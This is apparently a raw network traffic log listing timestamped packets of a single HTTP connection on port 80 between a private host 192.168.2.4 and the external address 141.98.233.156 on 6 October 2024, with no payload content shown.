Oct 6, 2024 22:33:09.270319939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270319939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270348072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270486116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270498037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270507097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270518064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270529985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270543098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270562887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270750046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270761013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270771027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270777941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270785093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270790100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270796061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270798922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270809889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270818949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270819902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270829916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270833015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270842075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270850897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270852089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270860910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270885944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271167040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271178007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271187067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271195889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271209002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271214008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271228075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271244049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271297932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271307945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271317005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271339893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271354914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271439075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271450043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271460056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271469116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271487951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271488905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271505117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271509886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271522045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271523952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271547079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271555901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271559000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271569014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271578074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271586895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271598101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271608114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271610975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271622896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271632910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271634102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271644115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271645069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271653891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271663904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.271671057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271684885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.271696091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272115946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272126913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272135973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272145987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272156000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272160053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272165060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272176981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272177935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272186995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272191048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272197962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272207975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272214890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272219896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272229910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272233009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272245884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272267103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272543907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272553921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272563934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272573948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272584915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272591114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272595882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272602081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272602081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272613049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272615910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272624969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272634029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272639036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272643089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272653103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272664070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272672892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272680998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272680998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272685051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.272699118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.272723913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.273008108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273017883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273027897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273036957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273046017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273051977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.273056030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273066044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.273066998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273078918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273083925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.273088932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.273106098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.273123980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.352366924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.352457047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.352466106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.352500916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.352511883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.352523088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.352536917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.352550030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.352576971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.352606058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.352627039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.353190899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355283022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355340004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355351925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355382919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355405092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355477095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355489969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355500937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355510950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355520964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355528116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355542898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355556011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355669022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355681896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355691910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355707884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355730057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355846882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355858088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355870008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355878115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355890036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355896950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355901003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355911016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.355921030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355931044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.355952024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356117010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356127977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356153011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356163025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356164932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356173038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356183052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356185913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356192112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356201887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356209993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356213093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356224060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356234074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356240034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356254101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356270075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356283903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356534004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356544018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356575966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356594086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356606960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356616974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356626987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356643915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356657028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356667995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356858015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356868982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356878996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356889009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356898069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356898069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356905937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356909037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356919050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356924057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356929064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356940031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356949091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356955051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356960058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356966019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.356970072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356980085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356990099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.356990099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357000113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357011080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357017040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357047081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357587099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357598066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357609034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357616901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357621908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357635021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357639074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357645988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357650042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357661009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357670069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357671976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357681036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357691050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357693911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357702017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357702971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357711077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357722044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357729912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357732058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.357753038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.357770920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358122110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358133078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358144045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358155966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358160973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358166933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358176947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358179092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358187914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358198881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358203888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358208895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358212948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358221054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358237028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358258963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358634949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358644962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358654976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358664989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358671904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358674049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358685017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358694077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358695030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358705044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358716011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358717918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358726025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358731031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358736992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358746052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358756065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358756065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358767986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358778954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358781099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358788967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358791113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358798981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.358813047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.358836889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359128952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359139919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359164000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359177113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359179020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359185934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359196901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359205961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359208107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359217882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359217882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359230042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359240055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359244108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359251022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359252930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359261990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359272003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359275103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359302044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359311104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359482050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359592915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359602928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359612942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359623909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359631062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359633923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359646082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359653950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359654903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359664917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.359666109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359679937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.359703064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.438765049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.438787937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.438795090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.438800097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.438934088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.439075947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.439122915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.439157009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.439171076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.439196110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.439203024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441405058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441450119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441463947 CEST	80	49741	141.98.233.156	192.168.2.4
